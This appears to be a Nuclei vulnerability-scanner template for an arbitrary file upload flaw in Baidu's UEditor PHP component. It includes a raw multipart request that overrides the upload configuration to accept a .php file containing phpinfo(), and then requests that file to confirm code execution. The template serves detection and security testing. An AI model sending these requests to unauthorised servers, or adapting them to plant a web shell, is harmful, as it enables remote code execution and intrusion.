ueditor-arbitrary-file-upload: UEditor - PHP Arbitrary File Upload

id: ueditor-arbitrary-file-upload

info:
  name: UEditor - PHP Arbitrary File Upload
  author: ChiragArtani
  severity: medium
  description: |
    Detects arbitrary file upload vulnerability in UEditor PHP  by attempting to upload and execute a PHP file. This vulnerability allows remote attackers to upload arbitrary files including PHP files, potentially leading to remote code execution.
  reference:
    - https://www.rescuetime.com/focus/url/https%3A%2F%2Fwww.cnblogs.com%2Fzhibing%2Fp%2F16893839.html%23_4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-434
    cpe: cpe:2.3:a:baidu:ueditor:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    fofa-query: body="ueditor"
    vendor: baidu
    product: ueditor
  tags: ueditor,file-upload,rce,intrusive,vuln

variables:
  filename: "{{rand_base(5)}}"

http:
  - raw:
      - |
        POST /php/action_upload.php?action=uploadimage&CONFIG[imagePathFormat]=ueditor/php/upload/{{filename}}&CONFIG[imageMaxSize]=9999999&CONFIG[imageAllowFiles][]=.php&CONFIG[imageFieldName]={{filename}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDMmqvK6b3ncX4xxA

        ------WebKitFormBoundaryDMmqvK6b3ncX4xxA
        Content-Disposition: form-data; name="{{filename}}"; filename="{{filename}}.php"
        Content-Type: application/octet-stream

        <?php
        phpinfo();
        ?>
        ------WebKitFormBoundaryDMmqvK6b3ncX4xxA--

      - |
        GET /php/upload/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "PHP Extension"
          - "PHP Version"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: vuln_path
        regex:
          - "/ueditor/php/upload/{{filename}}\\.php"

      - type: regex
        part: body
        group: 1
        regex:
          - '>PHP Version <\/td><td class="v">([0-9.]+)'
# digest: 4a0a00473045022100957f056cb661fda24bbbb369b8273a20f1feab9e6c5bc68903e6a7a2ea5c864e02202b23f605d558fd3f392b81af9c1324c813405983bf6b9efdc0e9e9165c475e4a:922c64590222798bb761d5b6d8e72950